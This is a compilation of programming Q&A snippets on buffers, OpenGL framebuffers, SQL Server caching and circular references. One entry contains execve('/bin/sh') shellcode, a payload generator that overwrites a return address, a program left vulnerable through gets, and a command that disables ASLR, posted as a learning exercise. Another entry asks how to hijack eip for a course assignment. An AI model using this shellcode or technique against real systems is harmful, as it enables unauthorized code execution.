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  • SQL SERVER – Data Pages in Buffer Pool – Data Stored in Memory Cache

    - by pinaldave
    This will drop all the clean buffers so we will be able to start again from there. Now, run the following script and check the execution plan of the query. Have you ever wondered what types of data are there in your cache? During SQL Server Trainings, I am usually asked if there is any way one can know how much data in a table is stored in the memory cache? The more detailed question I usually get is if there are multiple indexes on table (and used in a query), were the data of the single table stored multiple times in the memory cache or only for a single time? Here is a query you can run to figure out what kind of data is stored in the cache. USE AdventureWorks GO SELECT COUNT(*) AS cached_pages_count, name AS BaseTableName, IndexName, IndexTypeDesc FROM sys.dm_os_buffer_descriptors AS bd INNER JOIN ( SELECT s_obj.name, s_obj.index_id, s_obj.allocation_unit_id, s_obj.OBJECT_ID, i.name IndexName, i.type_desc IndexTypeDesc FROM ( SELECT OBJECT_NAME(OBJECT_ID) AS name, index_id ,allocation_unit_id, OBJECT_ID FROM sys.allocation_units AS au INNER JOIN sys.partitions AS p ON au.container_id = p.hobt_id AND (au.type = 1 OR au.type = 3) UNION ALL SELECT OBJECT_NAME(OBJECT_ID) AS name, index_id, allocation_unit_id, OBJECT_ID FROM sys.allocation_units AS au INNER JOIN sys.partitions AS p ON au.container_id = p.partition_id AND au.type = 2 ) AS s_obj LEFT JOIN sys.indexes i ON i.index_id = s_obj.index_id AND i.OBJECT_ID = s_obj.OBJECT_ID ) AS obj ON bd.allocation_unit_id = obj.allocation_unit_id WHERE database_id = DB_ID() GROUP BY name, index_id, IndexName, IndexTypeDesc ORDER BY cached_pages_count DESC; GO Now let us run the query above and observe the output of the same. We can see in the above query that there are four columns. Cached_Pages_Count lists the pages cached in the memory. BaseTableName lists the original base table from which data pages are cached. IndexName lists the name of the index from which pages are cached. IndexTypeDesc lists the type of index. Now, let us do one more experience here. Please note that you should not run this test on a production server as it can extremely reduce the performance of the database. DBCC DROPCLEANBUFFERS This will drop all the clean buffers and we will be able to start again from there. Now run following script and check the execution plan for the same. USE AdventureWorks GO SELECT UnitPrice, ModifiedDate FROM Sales.SalesOrderDetail WHERE SalesOrderDetailID BETWEEN 1 AND 100 GO The execution plans contain the usage of two different indexes. Now, let us run the script that checks the pages cached in SQL Server. It will give us the following output. It is clear from the Resultset that when more than one index is used, datapages related to both or all of the indexes are stored in Memory Cache separately. Let me know what you think of this article. I had a great pleasure while writing this article because I was able to write on this subject, which I like the most. In the next article, we will exactly see what data are cached and those that are not cached, using a few undocumented commands. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: DMV, Pinal Dave, SQL, SQL Authority, SQL Optimization, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology Tagged: SQL DMV

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  • how to double buffer in multiple classes with java

    - by kdavis8
    I am creating a Java 2D video game. I can load graphics just fine, but when it gets into double buffering I have issues. My source code package myPackage; import java.awt.Color; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.Image; import java.awt.Toolkit; import java.awt.image.BufferStrategy; import java.awt.image.BufferedImage; import javax.swing.JFrame; public class GameView extends JFrame { private BufferedImage backbuffer; private Graphics2D g2d; public GameView() { setBounds(0, 0, 500, 500); setVisible(true); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); backbuffer = new BufferedImage(getHeight(), getWidth(), BufferedImage.TYPE_INT_BGR); g2d = backbuffer.createGraphics(); Toolkit tk = Toolkit.getDefaultToolkit(); Image img = tk.getImage(this.getClass().getResource("cage.png")); g2d.setColor(Color.red); //g2d.drawString("Hello",100,100); g2d.drawImage(img, 100, 100, this); repaint(); } public static void main(String args[]) { new GameView(); } public void paint(Graphics g) { g2d = (Graphics2D)g; g2d.drawImage(backbuffer, 0, 0, this); } }

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  • D3D11 how to simulate multiple depth channels

    - by Nock
    Here's what I'd like to achieve: Rendering a first pass of objects in my scene, using standard depth comparison Rendering another pass of objects in the same scene, but with the following rules: A Pixel of the 2nd pass always override the first pass (no depth compare between them) Use Depth comparison between pixels written from the second pass. In English I want depth comparison made inside each pass but I always want the second pass pixels to override the first pass ones. Some things I've thought: I tried to think about using stencil to solve this, but I couldn't find a way. I know I could render into a separate target the second pass then composite the result into the first, but I'd like to avoid that. I could use two separate Depth Buffer, one dedicated to each pass. (I never tried, but I figure it's possible to switch the depth buffer in a Render Target "on the fly") Any idea of the best solution? Thanks

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  • Drawing multiple objects from one Vertex Buffer Object in OpenGL/OpenTK

    - by stoney78us
    I am trying to experimenting drawing method using VBO in OpenGL. Many people normally use 1 vbo to store one object data array. I was trying to do something quite opposite which is storing multiple object data into 1 vbo then drawing it. There is story behind why i want to do this. I want to group many of objects as a single object sometime. However my code doesn't do the justice. Following is my pseudo code: //Data double[] vertices = {line strip 1, line strip 2, line strip 3}; //series of vertices int linestrip1offset = index of the first vertex in line strip 1; int linestrip2offset = index of the first vertex in line strip 2; int linestrip3offset = index of the first vertex in line strip 3; int linestrip1VertexNum = number of vertices in linestrip 1; int linestrip2VertexNum = number of vertices in linestrip 2; int linestrip3VertexNum = number of vertices in linestrip 3; //Setting Up void init() { int[] vBO = new int[1]; GL.GenBuffer(1, vBO); GL.BindBuffer(BufferTarget.ArrayBuffer, vBO[0]); GL.BufferData(BufferTarget.ArrayBuffer, new IntPtr(_vertices.Length * sizeof(double)), _vertices, BufferUsageHint.StaticDraw); GL.EnableClientState(Array.VertexArray); } //Drawing void draw() { GL.BindBuffer(BufferTarget.ArrayBuffer, vBO[0]); GL.EnableClientState(ArrayCap.VertexArray); GL.VertexPointer(3, VertexPointerType.Double, 0, linestrip1offset); //drawing first linestrip GL.DrawArrays(drawMode, linestrip1offset , linestrip1VertexNum ); GL.VertexPointer(3, VertexPointerType.Double, 0, linestrip2offset); //drawing second linestrip GL.DrawArrays(drawMode, linestrip2offset , linestrip2VertexNum ); GL.VertexPointer(3, VertexPointerType.Double, 0, linestrip3offset); //drawing third linestrip GL.DrawArrays(drawMode, linestrip3offset , linestrip3VertexNum ); GL.DisableClientState(ArrayCap.VertexArray); GL.BindBuffer(BufferTarget.ArrayBuffer, 0); } I don't know what i did wrong but i think technically it should work where we can tell OpenGL which part of the data in the vBO to be drawn.

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  • Why won't my vertex buffer render in GLFW3?

    - by sm81095
    I have started to try to learn OpenGL, and I decided to use GLFW to assist in window creation. The problem is, since GLFW3 is so new, there are no tutorials on it or how to use it with modern OpenGL (3.3, specifically). Using the GLFW3 tutorial found on the website, which uses older OpenGL rendering (glBegin(GL_TRIANGLES), glVertex3f(), and such), I can get a triangle to render to the screen. The problem is, using new OpenGL, I can't get the same triangle to render to the screen. I am new to OpenGL, and GLFW3 is new to most people, so I may be completely missing something obvious, but here is my code: static const GLuint g_vertex_buffer_data[] = { -1.0f, -1.0f, 0.0f, 1.0f, -1.0f, 0.0f, 0.0f, 1.0f, 0.0f }; int main(void) { GLFWwindow* window; if(!glfwInit()) { fprintf(stderr, "Failed to initialize GLFW."); return -1; } glfwWindowHint(GLFW_SAMPLES, 4); glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3); glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3); glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE); glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); window = glfwCreateWindow(800, 600, "Test Window", NULL, NULL); if(!window) { glfwTerminate(); fprintf(stderr, "Failed to create a GLFW window"); return -1; } glfwMakeContextCurrent(window); glewExperimental = GL_TRUE; GLenum err = glewInit(); if(err != GLEW_OK) { glfwTerminate(); fprintf(stderr, "Failed to initialize GLEW"); fprintf(stderr, (char*)glewGetErrorString(err)); return -1; } GLuint VertexArrayID; glGenVertexArrays(1, &VertexArrayID); glBindVertexArray(VertexArrayID); GLuint programID = LoadShaders("SimpleVertexShader.glsl", "SimpleFragmentShader.glsl"); GLuint vertexBuffer; glGenBuffers(1, &vertexBuffer); glBindBuffer(GL_ARRAY_BUFFER, vertexBuffer); glBufferData(GL_ARRAY_BUFFER, sizeof(g_vertex_buffer_data), g_vertex_buffer_data, GL_STATIC_DRAW); while(!glfwWindowShouldClose(window)) { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glUseProgram(programID); glEnableVertexAttribArray(0); glBindBuffer(GL_ARRAY_BUFFER, vertexBuffer); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, (void*)0); glDrawArrays(GL_TRIANGLES, 0, 3); glDisableVertexAttribArray(0); glfwSwapBuffers(window); glfwPollEvents(); } glDeleteBuffers(1, &vertexBuffer); glDeleteProgram(programID); glfwDestroyWindow(window); glfwTerminate(); exit(EXIT_SUCCESS); } I know it is not my shaders, they are super simple and I've checked them against GLFW 2.7 so I know that they work. I'm assuming that I've missed something crucial to using the OpenGL context with GLFW3, so any help locating the problem would be greatly appreciated.

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  • Depth buffer values reset on change shader?

    - by bobobobo
    I have 2 different shaders, and when I change the shader (glUseProgram), it seems that the depth information is lost, because everything drawn with the 2nd shader appears completely on top of anything drawn by the first shader. If I switch the order of shader use/drawing, then it's the same (the last drawn object always appears on top of the first drawn object if there is a shader change between the 2 objects, even if the last drawn object is further away)

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  • Dual Frame Buffer on Ubuntu 12.04 Intel HD Graphics 4600 i7-4770

    - by user3692512
    I have 2 monitors connected to the PC, one in HDMI, one in DVI. I have Intel integrated graphics HD4600 Now as far my understanding, both the monitors is connected at the same framebuffer /dev/fb0 How can I detach them and create 2 frame buffers at startup, so that I can directly write to the second monitor, by writing on the /dev/fb1, and not hamper the /dev/fb0, so that x-server can run normally on that?

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  • Trending Buffer Pool Performance Using DMV sys.dm_os_performance_counters

    I'd seen you posted a tip on capturing SQL based PerfMon counters using sys.dm_os_performance_counters. What queries can I run against those stored results that would allow me to examine memory usage on my SQL instance? Join SQL Backup’s 35,000+ customers to compress and strengthen your backups "SQL Backup will be a REAL boost to any DBA lucky enough to use it." Jonathan Allen. Download a free trial now.

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  • How are OpenGL ES 1 framebuffers and textures sized?

    - by jens
    I am trying to draw to a texture using a framebuffer using OpenGL ES 1.1 on Android, Java. Afterwords I want to overlay this texture full-screen over my game. In theory, this works like a charm, but somehow the coordinates are off. For testing I drew something at (0,0) with width and height 200, and it partly is off-screen. This is how I create the framebuffer: fb = new int[1]; depthRb = new int[1]; renderTex = new int[1]; gl11ep.glGenFramebuffersOES(1, fb, 0); gl11ep.glGenRenderbuffersOES(1, depthRb, 0); // the depth buffer gl.glGenTextures(1, renderTex, 0);// generate texture gl.glBindTexture(GL10.GL_TEXTURE_2D, renderTex[0]); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MIN_FILTER, GL10.GL_LINEAR); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MAG_FILTER, GL10.GL_LINEAR); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_WRAP_S, GL10.GL_REPEAT); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_WRAP_T, GL10.GL_REPEAT); texBuffer = ByteBuffer.allocateDirect(buf.length*4).order(ByteOrder.nativeOrder()).asIntBuffer(); gl.glTexImage2D(GL10.GL_TEXTURE_2D, 0, GL10.GL_LUMINANCE, texW, texH, 0, GL10.GL_LUMINANCE, GL10.GL_UNSIGNED_BYTE, texBuffer); gl11ep.glBindRenderbufferOES(GL11ExtensionPack.GL_RENDERBUFFER_OES, depthRb[0]); gl11ep.glRenderbufferStorageOES(GL11ExtensionPack.GL_RENDERBUFFER_OES, GL11ExtensionPack.GL_DEPTH_COMPONENT16, texW, texH); Before I draw, I do this: gl11ep.glBindFramebufferOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES, fb[0]); gl.glClearColor(0f, 0f, 0f, 0f); // specify texture as color attachment gl11ep.glFramebufferTexture2DOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES, GL11ExtensionPack.GL_COLOR_ATTACHMENT0_OES, GL10.GL_TEXTURE_2D, renderTex[0], 0); // attach render buffer as depth buffer gl11ep.glFramebufferRenderbufferOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES, GL11ExtensionPack.GL_DEPTH_ATTACHMENT_OES, GL11ExtensionPack.GL_RENDERBUFFER_OES, depthRb[0]); I set texW = 1024 and texH = 512. When rendering this texture fullscreen, with a lightmask (size 200x200) placed at (0, 0) and (texW/2, texH/2). You can see that it seems like the coordinate system doesnt start at (0,0) as that light overlaps the screen and the images are not drawn as squares (my lightcone-texture is a circle, not an ellipse). So, how is the coordinate system of this offscreen-drawn texture defined? Thanks

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  • SQL SERVER Data Pages in Buffer Pool Data Stored in MemoryCache

    This will drop all the clean buffers so we will be able to start again from there. Now, run the following script and check the execution plan of the query. Have you ever wondered what types of data are there in your cache? During SQL Server Trainings, I am usually asked if there is any [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • (Android) How are OpenGL ES 1 framebuffers and textures sized?

    - by jens
    I am trying to draw to a texture using a framebuffer using OpenGL ES 1.1 on Android, Java. Afterwords I want to overlay this texture full-screen over my game. In theory, this works like a charm, but somehow the coordinates are off. For testing I drew something at (0,0) with width and height 200, and it partly is off-screen. This is how I create the framebuffer: fb = new int[1]; depthRb = new int[1]; renderTex = new int[1]; gl11ep.glGenFramebuffersOES(1, fb, 0); gl11ep.glGenRenderbuffersOES(1, depthRb, 0); // the depth buffer gl.glGenTextures(1, renderTex, 0);// generate texture gl.glBindTexture(GL10.GL_TEXTURE_2D, renderTex[0]); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MIN_FILTER, GL10.GL_LINEAR); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MAG_FILTER, GL10.GL_LINEAR); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_WRAP_S, GL10.GL_REPEAT); gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_WRAP_T, GL10.GL_REPEAT); texBuffer = ByteBuffer.allocateDirect(buf.length*4).order(ByteOrder.nativeOrder()).asIntBuffer(); gl.glTexImage2D(GL10.GL_TEXTURE_2D, 0, GL10.GL_LUMINANCE, texW, texH, 0, GL10.GL_LUMINANCE, GL10.GL_UNSIGNED_BYTE, texBuffer); gl11ep.glBindRenderbufferOES(GL11ExtensionPack.GL_RENDERBUFFER_OES, depthRb[0]); gl11ep.glRenderbufferStorageOES(GL11ExtensionPack.GL_RENDERBUFFER_OES, GL11ExtensionPack.GL_DEPTH_COMPONENT16, texW, texH); Before I draw, I do this: gl11ep.glBindFramebufferOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES, fb[0]); gl.glClearColor(0f, 0f, 0f, 0f); // specify texture as color attachment gl11ep.glFramebufferTexture2DOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES, GL11ExtensionPack.GL_COLOR_ATTACHMENT0_OES, GL10.GL_TEXTURE_2D, renderTex[0], 0); // attach render buffer as depth buffer gl11ep.glFramebufferRenderbufferOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES, GL11ExtensionPack.GL_DEPTH_ATTACHMENT_OES, GL11ExtensionPack.GL_RENDERBUFFER_OES, depthRb[0]); I set texW = 1024 and texH = 512. When rendering this texture fullscreen, with a lightmask (size 200x200) placed at (0, 0) and (texW/2, texH/2). You can see that it seems like the coordinate system doesnt start at (0,0) as that light overlaps the screen and the images are not drawn as squares (my lightcone-texture is a circle, not an ellipse). So, how is the coordinate system of this offscreen-drawn texture defined? Thanks

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  • Efficient code to avoid circular references in c# object model

    - by Kumar
    I have an excel like grid where values can be typed referencing other rows To check for circular references when a new value is entered, i traverse the tree and create a list of values referenced thus far, if the current value is found in this list, i return an error thus avoiding a circular reference. This is infrequent enough where extreme performance is not an issue but... Question - is there a better way ? I'm told it's not the most optimal but no answer was provided so on to the experts @ SO :)

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  • Read variable-length records from a buffer - weird memory issues

    - by bsg
    Hi, I'm trying to implement an i/o intensive quicksort (C++ qsort) on a very large dataset. In the interests of speed, I'd like to read in a chunk of data at a time into a buffer and then use qsort to sort it inside the buffer. (I am currently working with text files but would like to move to binary soon.) However, my data is composed of variable-length records, and qsort needs to be told the length of the record in order to sort. Is there any way to standardize this? The only thing I could think of was rather convoluted: my program currently reads from the buffer until it hits a linefeed character ('10' in ascii), transferring each character over to another array. When it finds a linefeed (the delimiter in the input file), it fills the number of spaces remaining in the buffer for that record (record size is set to 30) with null characters. This way, I should end up with a buffer full of fixed-size records to give qsort. I know there are several problems with my approach, one being that it's just clumsy, another that the record size might conceivably be larger than 30, but is generally much less. Is there a better way of doing this? As well, my current code doesn't even work. When I debug it, it seems to be transferring characters from one buffer to the other, but when I try to print out the buffer, it contains only the first record. Here is my code: FILE *fp; unsigned char *buff; unsigned char *realbuff; FILE *inputFiles[NUM_INPUT_FILES]; buff = (unsigned char *) malloc(2048); realbuff = (unsigned char *) malloc(NUM_RECORDS * RECORD_SIZE); fp = fopen("postings0.txt", "r"); if(fp) { fread(buff, 1, 2048, fp); /*for(int i=0; i <30; i++) cout << buff[i] <<endl;*/ int y=0; int recordcounter = 0; //cout << buff; for(int i=0;i <100; i++) { if(buff[i] != char(10)) { realbuff[y] = buff[i]; y++; recordcounter++; } else { if(recordcounter < RECORD_SIZE) for(int j=recordcounter; j < RECORD_SIZE;j++) { realbuff[y] = char(0); y++; } recordcounter = 0; } } cout << realbuff <<endl; cout << buff; } else cout << "sorry"; Thank you very much, bsg

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  • getting around circular references in Delphi

    - by Tom
    Is there a way of getting around circular unit references in Delphi? Maybe a newer version of delphi or some magic hack or something? My delphi project has 100 000+ lines of code mostly based on singleton classes. I need to refactor this, but that would mean several months of "circular reference" hell :)

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  • List circular group membership from active directory

    - by KAPes
    We have 40K+ groups in our active directory and we are increasingly facing problem of circular nested groups which are creating problems for some applications. Does anyone know how to list down the full route through which a circular group membership exists ? e.g. G1 --> G2 --> G3 --> G4 --> G1 How do I list it down.

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  • For buffer overflows, what is the stack address when using pthreads?

    - by t2k32316
    I'm taking a class in computer security and there is an extra credit assignment to insert executable code into a buffer overflow. I have the c source code for the target program I'm trying to manipulate, and I've gotten to the point where I can successfully overwrite the eip for the current function stack frame. However, I always get a Segmentation fault, because the address I supply is always wrong. The problem is that the current function is inside a pthread, and therefore, the address of the stack seems to always change between different runs of the program. Is there any method for finding the stack address within a pthread (or for estimating the stack address within a pthread)? (note: pthread_create's 2nd argument is null, so we're not manually assigning a stack address)

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  • Is there a default buffer length for 'sprintf' method?

    - by Isuru
    Hi, I used sprintf method to format data to a string which I want to write to a file, in C++ console application using VS 2008. The Input is a particular message, which has various variables and values (ex: Type 'int' and Value '10' / Type string and value "abc", etc.) When I send a two messages it works perfectly. But When I send more than two messages it gives a runtime error saying 0xC0000005: Access violation reading location 0xabababab. Why is this happening? Is it because the method 'sprintf' has a default buffer length? How can I overcome this problem?

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Turning a log file into a sort of circular buffer

    - by pachanga
    Folks, is there a *nix solution which would make the log file act as a circular buffer? For example, I'd like log files to store maximum 1Gb of data and discard the older entries once the limit is reached. Is it possible at all? I believe in order to achieve that a log file should be turned into some sort of special device... P.S. I'm aware of misc logrotating tools but this is not what I need. Logrotating requires lots of IO, happens usually once a day while I need a "runtime" solution.

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  • Buffer Overflow errors when reading ConfigDelay and Manufacturer info from registry

    - by peter
    Hi All, This is a strange driver error which doesn't make a lot of sense to me. I am running an application developed in C# .NET which our company develops. I was monitoring the application using process monitor and noticed that it accesses the registry a lot. The output on Process Monitor looks like this, Operation Result Path RegQueryValue Success HKLM\System\CurrentControlSet\Enum\SWMUXBUS\SW_MODEM\7&6c4af30&0&5&0004\Driver RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Properties RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Default RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\InactivityScale RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\PowerDelay RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\ConfigDelay RegQueryValue Buffer Overflow HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Manufacturer RegQueryValue Buffer Overflow HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Model RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Version The app is reading this stuff every 5 seconds from the registry, so I would ask a few questions, 1) What is this stuff 2) Why is the app reading this stuff 3) Why is it saying 'Buffer Overflow' 4) Could this cause performance problems for my app? From what I can see the app does not explicitly read this stuff, so I think this relates to a driver on the machine (which is a netbook)

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  • Excel Circular Reference

    - by Demetre
    Simple question. I'm working in Excel 2007, and I want to convert 1000 grams into 1 kilogram when I input 1000g into a particular cell. So I decided to create the if statement below. However there is a problem with this. It's stating that it is a Circular Reference, and leaves me with a 0 value. Is there a simple way to fix this issue in excel? Here is the if statement I have. =IF(C8 >= 1000,CONVERT(C8,"g","k"),C8) Tell what you guys think. Thanks in advance.

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  • Circular reference with entity manager factory

    - by CodesLikeA_Mokey
    Every time I try and start my app, I get this error on startup: SEVERE: Exception sending context initialized event to listener instance of class org.springframework.web.context.ContextLoaderListener org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'org.springframework.dao.annotation.PersistenceExceptionTranslationPostProcessor#0': Initialization of bean failed; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'identityAccessAppConfig': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: com.package.identityaccess.identity.UserRepository com.package.identityaccess.IdentityAccessAppConfig.userRepository; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'userRepository': Cannot create inner bean '(inner bean)' of type [org.springframework.orm.jpa.SharedEntityManagerCreator] while setting bean property 'entityManager'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name '(inner bean)#1': Cannot resolve reference to bean 'identityAccessEntityManagerFactory' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCurrentlyInCreationException: Error creating bean with name 'identityAccessEntityManagerFactory': Requested bean is currently in creation: Is there an unresolvable circular reference? at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:529) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:458) at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:295) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:223) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:292) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:198) at org.springframework.context.support.AbstractApplicationContext.registerBeanPostProcessors(AbstractApplicationContext.java:741) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:464) at org.springframework.web.context.ContextLoader.configureAndRefreshWebApplicationContext(ContextLoader.java:389) at org.springframework.web.context.ContextLoader.initWebApplicationContext(ContextLoader.java:294) at org.springframework.web.context.ContextLoaderListener.contextInitialized(ContextLoaderListener.java:112) at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4797) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5291) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549) at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) at java.util.concurrent.FutureTask.run(FutureTask.java:166) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:722) Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'identityAccessAppConfig': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: com.package.identityaccess.identity.UserRepository com.package.identityaccess.IdentityAccessAppConfig.userRepository; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'userRepository': Cannot create inner bean '(inner bean)' of type [org.springframework.orm.jpa.SharedEntityManagerCreator] while setting bean property 'entityManager'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name '(inner bean)#1': Cannot resolve reference to bean 'identityAccessEntityManagerFactory' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCurrentlyInCreationException: Error creating bean with name 'identityAccessEntityManagerFactory': Requested bean is currently in creation: Is there an unresolvable circular reference? at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues(AutowiredAnnotationBeanPostProcessor.java:288) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1116) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:519) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:458) at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:295) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:223) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:292) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:194) at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod(ConstructorResolver.java:353) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod(AbstractAutowireCapableBeanFactory.java:1025) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:921) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:487) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:458) at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:295) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:223) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:292) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:198) at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeansOfType(DefaultListableBeanFactory.java:438) at org.springframework.beans.factory.BeanFactoryUtils.beansOfTypeIncludingAncestors(BeanFactoryUtils.java:277) at org.springframework.dao.support.PersistenceExceptionTranslationInterceptor.detectPersistenceExceptionTranslators(PersistenceExceptionTranslationInterceptor.java:139) at org.springframework.dao.support.PersistenceExceptionTranslationInterceptor.<init>(PersistenceExceptionTranslationInterceptor.java:79) at org.springframework.dao.annotation.PersistenceExceptionTranslationAdvisor.<init>(PersistenceExceptionTranslationAdvisor.java:71) at org.springframework.dao.annotation.PersistenceExceptionTranslationPostProcessor.setBeanFactory(PersistenceExceptionTranslationPostProcessor.java:85) at 